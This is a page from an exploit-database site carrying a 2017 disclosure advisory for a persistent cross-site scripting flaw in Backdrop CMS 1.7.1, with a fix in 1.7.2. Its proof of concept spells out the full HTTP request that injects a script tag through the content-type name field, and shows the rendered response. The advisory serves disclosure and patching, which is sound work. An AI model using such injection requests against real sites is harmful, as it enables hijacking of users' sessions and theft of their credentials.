0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Backdrop CMS 1.7.1 Cross Site Scripting Vulnerability
I. VULNERABILITY ------------------------- Backdrop CMS <= 1.7.1 - Persistent Cross-Site Scripting II. BACKGROUND ------------------------- Backdrop CMS is a simple, lightweight, and easy to use Content Management System used to build attractive, professional websites. III. DESCRIPTION ------------------------- Has been detected a Persistent XSS vulnerability in Backdrop CMS, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. IV. PROOF OF CONCEPT ------------------------- Go to: Structure -> Content types -> Add content type And post: POST /backdrop/admin/structure/types/add HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 605 Referer: http://127.0.0.1/backdrop/admin/structure/types/add Cookie: Backdrop.tableDrag.showWeight=0; PHPSESSID=libl3ge64tv5vajangccjhifu2; phpwcmsBELang=en; phpwcmsBEItemsPerPage=50; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=120.60.120%257C%252F%257C; nv4_cltn=RXVyb3BlL0Ftc3RlcmRhbS43MjAwLjE%3D; nv4c_x4OOk_ctr=MTI3XzBfMF8xLlpa; nv4c_x4OOk_cltz=120.60.120%257C%252F%257C; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean; SESSaca5a63f4c2fc739381fab7741d68783=X4OPoKhvYQz8Q8QwCrVpgq3JuG4fQ84n1XpQQH0SCjo Connection: close Upgrade-Insecure-Requests: 1 name=test%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E&type=test_script_alert&description=&title_label=Demo&help=&status_default=1&sticky_enabled=1&promote_enabled=1&path_pattern=%5Bnode%3Acontent-type%5D%2F%5Bnode%3Atitle%5D&revision_enabled=1&node_submitted=1&node_user_picture=1&comment_default=2&comment_per_page=50&comment_mode=1&comment_user_picture=1&comment_form_location=1&comment_preview=1&additional_settings__active_tab=&form_build_id=form-biLaugWmv7Z4fGmSK73PYxQZo7hgIwxL2gRwijtrBFA&form_token=j4801oRGZnTQshQQdJ1IKF7-doK6IhB51F1d4nIPwY4&form_id=node_type_form&op=Save+and+add+fields The variable "name" it is not sanitized, later, if you go to the content type created and click in "Manage Displays" GET /backdrop/admin/structure/types/manage/test-script-alert/display HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate The XSS is executed, in the response you can view: Manage display</a></li></ul></div></div></td> </tr><tr class="header even"><td>Customized for test"><script>alert(/XSS/)</script></td><td class="priority-low"></td><td></td> </tr> V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc. VI. SYSTEMS AFFECTED ------------------------- Backdrop CMS <= 1.7.1 VII. SOLUTION ------------------------- Install the last release: https://github.com/backdrop/backdrop/releases/tag/1.7.2 VIII. REFERENCES ------------------------- https://backdropcms.org/security/backdrop-sa-core-2017-009 IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- July 11, 2017 1: Initial release August 18, 2017 2: Last revision XI. DISCLOSURE TIMELINE ------------------------- July 11, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas July 11, 2017 2: Send to vendor August 17, 2017 3: Vendo fix in 1.7.2 version August 18, 2017 4: Sent to lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester # 0day.today [2024-05-20] #